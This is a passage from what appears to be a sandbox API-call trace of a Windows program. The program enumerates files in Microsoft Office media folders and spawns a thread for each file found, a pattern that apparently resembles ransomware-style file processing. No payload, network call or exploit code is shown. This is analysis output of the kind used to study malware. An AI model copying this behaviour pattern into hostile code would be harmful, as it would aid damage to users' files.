Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14515_.GIF" [0057.912] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x4386e8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb14 [0057.913] FindNextFileW (in: hFindFile=0x440f20, lpFindFileData=0x4b80c8 | out: lpFindFileData=0x4b80c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd05b1500, ftCreationTime.dwHighDateTime=0x1bd8f8e, ftLastAccessTime.dwLowDateTime=0xbc8dfee0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xd05b1500, ftLastWriteTime.dwHighDateTime=0x1bd8f8e, nFileSizeHigh=0x0, nFileSizeLow=0x111, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14528_.GIF", cAlternateFileName="")) returned 1 [0057.913] wcscmp (_String1="BD14528_.GIF", _String2=".") returned 1 [0057.913] wcscmp (_String1="BD14528_.GIF", _String2="..") returned 1 [0057.913] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x8c) returned 0x438650 [0057.913] wcscpy (in: _Dest=0x438650, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS" [0057.913] wcscat (in: _Dest=0x438650, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\" [0057.913] wcscat (in: _Dest=0x438650, _Source="BD14528_.GIF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14528_.GIF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14528_.GIF" [0057.913] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x438650, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb10 [0057.914] FindNextFileW (in: hFindFile=0x440f20, lpFindFileData=0x4b80c8 | out: lpFindFileData=0x4b80c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd18c4200, ftCreationTime.dwHighDateTime=0x1bd8f8e, ftLastAccessTime.dwLowDateTime=0xbc8dfee0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xd18c4200, ftLastWriteTime.dwHighDateTime=0x1bd8f8e, nFileSizeHigh=0x0, nFileSizeLow=0x112, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14529_.GIF", cAlternateFileName="")) returned 1 [0057.914] wcscmp (_String1="BD14529_.GIF", _String2=".") returned 1 [0057.914] wcscmp (_String1="BD14529_.GIF", _String2="..") returned 1 [0057.914] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x8c) returned 0x97cd308 [0057.914] wcscpy (in: _Dest=0x97cd308, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS" [0057.914] wcscat (in: _Dest=0x97cd308, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\" [0057.914] wcscat (in: _Dest=0x97cd308, _Source="BD14529_.GIF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14529_.GIF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14529_.GIF" [0057.914] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x97cd308, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb0c [0057.915] FindNextFileW (in: hFindFile=0x440f20, lpFindFileData=0x4b80c8 | out: lpFindFileData=0x4b80c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd18c4200, ftCreationTime.dwHighDateTime=0x1bd8f8e, ftLastAccessTime.dwLowDateTime=0xbc8dfee0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xd18c4200, ftLastWriteTime.dwHighDateTime=0x1bd8f8e, nFileSizeHigh=0x0, nFileSizeLow=0x13c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14530_.GIF", cAlternateFileName="")) returned 1 [0057.915] wcscmp (_String1="BD14530_.GIF", _String2=".") returned 1 [0057.915] wcscmp (_String1="BD14530_.GIF", _String2="..") returned 1 [0057.916] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x8c) returned 0x97cd3a0 [0057.916] wcscpy (in: _Dest=0x97cd3a0, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS" [0057.916] wcscat (in: _Dest=0x97cd3a0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\" [0057.916] wcscat (in: _Dest=0x97cd3a0, _Source="BD14530_.GIF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14530_.GIF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14530_.GIF" [0057.916] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x97cd3a0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb48 [0057.917] FindNextFileW (in: hFindFile=0x440f20, lpFindFileData=0x4b80c8 | out: lpFindFileData=0x4b80c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2bd6f00, ftCreationTime.dwHighDateTime=0x1bd8f8e, ftLastAccessTime.dwLowDateTime=0xbc906040, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xd2bd6f00, ftLastWriteTime.dwHighDateTime=0x1bd8f8e, nFileSizeHigh=0x0, nFileSizeLow=0xf5, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14531_.GIF", cAlternateFileName="")) returned 1 [0057.917] wcscmp (_String1="BD14531_.GIF", _String2=".") returned 1 [0057.917] wcscmp (_String1="BD14531_.GIF", _String2="..") returned 1 [0057.917] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x8c) returned 0x97cd438 [0057.917] wcscpy (in: _Dest=0x97cd438, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS" [0057.917] wcscat (in: _Dest=0x97cd438, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\" [0057.917] wcscat (in: _Dest=0x97cd438, _Source="BD14531_.GIF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14531_.GIF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14531_.GIF" [0057.917] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x97cd438, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb40 [0057.918] FindNextFileW (in: hFindFile=0x440f20, lpFindFileData=0x4b80c8 | out: lpFindFileData=0x4b80c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2bd6f00, ftCreationTime.dwHighDateTime=0x1bd8f8e, ftLastAccessTime.dwLowDateTime=0xbc906040, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xd2bd6f00, ftLastWriteTime.dwHighDateTime=0x1bd8f8e, nFileSizeHigh=0x0, nFileSizeLow=0xf5, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14532_.GIF", cAlternateFileName="")) returned 1 [0057.918] wcscmp (_String1="BD14532_.GIF", _String2=".") returned 1 [0057.918] wcscmp (_String1="BD14532_.GIF", _String2="..") returned 1 [0057.918] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x8c) returned 0x97cd4d0 [0057.918] wcscpy (in: _Dest=0x97cd4d0, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS" [0057.918] wcscat (in: _Dest=0x97cd4d0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\" [0057.919] wcscat (in: _Dest=0x97cd4d0, _Source="BD14532_.GIF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14532_.GIF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14532_.GIF" [0057.919] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x97cd4d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb3c [0057.920] FindNextFileW (in: hFindFile=0x440f20, lpFindFileData=0x4b80c8 | out: lpFindFileData=0x4b80c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2bd6f00, ftCreationTime.dwHighDateTime=0x1bd8f8e, ftLastAccessTime.dwLowDateTime=0xbc906040, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xd2bd6f00, ftLastWriteTime.dwHighDateTime=0x1bd8f8e, nFileSizeHigh=0x0, nFileSizeLow=0xf5, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14533_.GIF", cAlternateFileName="")) returned 1 [0057.920] wcscmp (_String1="BD14533_.GIF", _String2=".") returned 1 [0057.920] wcscmp (_String1="BD14533_.GIF", _String2="..") returned 1 [0057.920] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x8c) returned 0x97cd568 [0057.920] wcscpy (in: _Dest=0x97cd568, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS" [0057.920] wcscat (in: _Dest=0x97cd568, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\" [0057.920] wcscat (in: _Dest=0x97cd568, _Source="BD14533_.GIF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14533_.GIF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14533_.GIF" [0057.920] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x97cd568, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb38 [0059.875] FindNextFileW (in: hFindFile=0x440f20, lpFindFileData=0x4b80c8 | out: lpFindFileData=0x4b80c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbe7b7100, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbc92c1a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbe7b7100, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0xb7, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14565_.GIF", cAlternateFileName="")) returned 1 [0059.875] wcscmp (_String1="BD14565_.GIF", _String2=".") returned 1 [0059.875] wcscmp (_String1="BD14565_.GIF", _String2="..") returned 1 [0059.875] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x8c) returned 0x97cd860 [0059.875] wcscpy (in: _Dest=0x97cd860, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS" [0059.875] wcscat (in: _Dest=0x97cd860, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\" [0059.875] wcscat (in: _Dest=0x97cd860, _Source="BD14565_.GIF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14565_.GIF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14565_.GIF" [0066.082] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x97cd860, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xbdc [0066.083] FindNextFileW (in: hFindFile=0x440f20, lpFindFileData=0x4b80c8 | out: lpFindFileData=0x4b80c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7eb38a00, ftCreationTime.dwHighDateTime=0x1bd8f90, ftLastAccessTime.dwLowDateTime=0xbc92c1a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x7eb38a00, ftLastWriteTime.dwHighDateTime=0x1bd8f90, nFileSizeHigh=0x0, nFileSizeLow=0xc8, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14578_.GIF", cAlternateFileName="")) returned 1 [0066.083] wcscmp (_String1="BD14578_.GIF", _String2=".") returned 1 [0066.083] wcscmp (_String1="BD14578_.GIF", _String2="..") returned 1 [0066.083] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x8c) returned 0x438060 [0066.083] wcscpy (in: _Dest=0x438060, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS" [0066.083] wcscat (in: _Dest=0x438060, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\" [0066.083] wcscat (in: _Dest=0x438060, _Source="BD14578_.GIF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14578_.GIF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14578_.GIF" [0066.083] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x438060, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x103c [0066.084] FindNextFileW (in: hFindFile=0x440f20, lpFindFileData=0x4b80c8 | out: lpFindFileData=0x4b80c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7eb38a00, ftCreationTime.dwHighDateTime=0x1bd8f90, ftLastAccessTime.dwLowDateTime=0xbc92c1a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x7eb38a00, ftLastWriteTime.dwHighDateTime=0x1bd8f90, nFileSizeHigh=0x0, nFileSizeLow=0x10b, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14579_.GIF", cAlternateFileName="")) returned 1 [0066.084] wcscmp (_String1="BD14579_.GIF", _String2=".") returned 1 [0066.084] wcscmp (_String1="BD14579_.GIF", _String2="..") returned 1 [0066.084] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x8c) returned 0x439a80 [0066.084] wcscpy (in: _Dest=0x439a80, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS" [0066.084] wcscat (in: _Dest=0x439a80, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\" [0066.084] wcscat (in: _Dest=0x439a80, _Source="BD14579_.GIF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14579_.GIF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14579_.GIF" [0066.084] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x439a80, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1038 [0066.085] FindNextFileW (in: hFindFile=0x440f20, lpFindFileData=0x4b80c8 | out: lpFindFileData=0x4b80c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7fe4b700, ftCreationTime.dwHighDateTime=0x1bd8f90, ftLastAccessTime.dwLowDateTime=0xbc92c1a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x7fe4b700, ftLastWriteTime.dwHighDateTime=0x1bd8f90, nFileSizeHigh=0x0, nFileSizeLow=0xb9, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14580_.GIF", cAlternateFileName="")) returned 1 [0066.085] wcscmp (_String1="BD14580_.GIF", _String2=".") returned 1 [0066.085] wcscmp (_String1="BD14580_.GIF", _String2="..") returned 1 [0066.085] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x8c) returned 0x97ab718 [0066.085] wcscpy (in: _Dest=0x97ab718, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS" [0066.085] wcscat (in: _Dest=0x97ab718, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\" [0066.085] wcscat (in: _Dest=0x97ab718, _Source="BD14580_.GIF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14580_.GIF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14580_.GIF" [0066.085] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x97ab718, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1034 [0066.087] FindNextFileW (in: hFindFile=0x440f20, lpFindFileData=0x4b80c8 | out: lpFindFileData=0x4b80c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7fe4b700, ftCreationTime.dwHighDateTime=0x1bd8f90, ftLastAccessTime.dwLowDateTime=0xbc92c1a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x7fe4b700, ftLastWriteTime.dwHighDateTime=0x1bd8f90, nFileSizeHigh=0x0, nFileSizeLow=0xce, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14581_.GIF", cAlternateFileName="")) returned 1 [0066.087] wcscmp (_String1="BD14581_.GIF", _String2=".") returned 1 [0066.087] wcscmp (_String1="BD14581_.GIF", _String2="..") returned 1 [0066.087] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x8c) returned 0x97ab7b0 [0066.087] wcscpy (in: _Dest=0x97ab7b0, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS" [0066.088] wcscat (in: _Dest=0x97ab7b0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\" [0066.088] wcscat (in: _Dest=0x97ab7b0, _Source="BD14581_.GIF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14581_.GIF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14581_.GIF" [0066.088] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x97ab7b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1030 [0066.089] FindNextFileW (in: hFindFile=0x440f20, lpFindFileData=0x4b80c8 | out: lpFindFileData=0x4b80c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7fe4b700, ftCreationTime.dwHighDateTime=0x1bd8f90, ftLastAccessTime.dwLowDateTime=0xbc92c1a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x7fe4b700, ftLastWriteTime.dwHighDateTime=0x1bd8f90, nFileSizeHigh=0x0, nFileSizeLow=0xb9, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14582_.GIF", cAlternateFileName="")) returned 1 [0066.089] wcscmp (_String1="BD14582_.GIF", _String2=".") returned 1 [0066.089] wcscmp (_String1="BD14582_.GIF", _String2="..") returned 1 [0066.089] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x8c) returned 0x97ab848 [0066.089] wcscpy (in: _Dest=0x97ab848, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS" [0066.089] wcscat (in: _Dest=0x97ab848, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\" [0066.089] wcscat (in: _Dest=0x97ab848, _Source="BD14582_.GIF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14582_.GIF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14582_.GIF" [0066.089] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x97ab848, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x102c [0066.090] FindNextFileW (hFindFile=0x440f20, lpFindFileData=0x4b80c8) Thread: id = 759 os_tid = 0xe48 [0051.519] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x72) returned 0x12e08218 [0051.519] wcscpy (in: _Dest=0x12e08218, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES" [0051.519] wcscat (in: _Dest=0x12e08218, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\" [0051.519] wcscat (in: _Dest=0x12e08218, _Source="*" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\*") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\*" [0051.519] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x4b9408 [0051.519] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\*", lpFindFileData=0x4b9408 | out: lpFindFileData=0x4b9408*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5178e0b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xbd4548c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbd4548c0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x409fe8 [0051.718] wcscmp (_String1=".", _String2=".") returned 0 [0051.718] FindNextFileW (in: hFindFile=0x409fe8, lpFindFileData=0x4b9408 | out: lpFindFileData=0x4b9408*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5178e0b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xbd4548c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbd4548c0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0051.719] wcscmp (_String1="..", _String2=".") returned 1 [0051.719] wcscmp (_String1="..", _String2="..") returned 0 [0051.719] FindNextFileW (in: hFindFile=0x409fe8, lpFindFileData=0x4b9408 | out: lpFindFileData=0x4b9408*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b0e4a00, ftCreationTime.dwHighDateTime=0x1bd5ead, ftLastAccessTime.dwLowDateTime=0xbc847960, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x9b0e4a00, ftLastWriteTime.dwHighDateTime=0x1bd5ead, nFileSizeHigh=0x0, nFileSizeLow=0x3d2, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD10219_.GIF", cAlternateFileName="")) returned 1 [0051.719] wcscmp (_String1="BD10219_.GIF", _String2=".") returned 1 [0051.719] wcscmp (_String1="BD10219_.GIF", _String2="..") returned 1 [0051.719] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x88) returned 0x4180d0 [0051.719] wcscpy (in: _Dest=0x4180d0, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES" [0051.719] wcscat (in: _Dest=0x4180d0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\" [0051.719] wcscat (in: _Dest=0x4180d0, _Source="BD10219_.GIF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD10219_.GIF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD10219_.GIF" [0063.950] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x4180d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xe44 [0063.950] FindNextFileW (in: hFindFile=0x409fe8, lpFindFileData=0x4b9408 | out: lpFindFileData=0x4b9408*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8d9c300, ftCreationTime.dwHighDateTime=0x1bd9367, ftLastAccessTime.dwLowDateTime=0xbc847960, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa8d9c300, ftLastWriteTime.dwHighDateTime=0x1bd9367, nFileSizeHigh=0x0, nFileSizeLow=0x97e, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD10256_.GIF", cAlternateFileName="")) returned 1 [0063.950] wcscmp (_String1="BD10256_.GIF", _String2=".") returned 1 [0063.950] wcscmp (_String1="BD10256_.GIF", _String2="..") returned 1 [0063.950] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x88) returned 0x12e2a708 [0063.950] wcscpy (in: 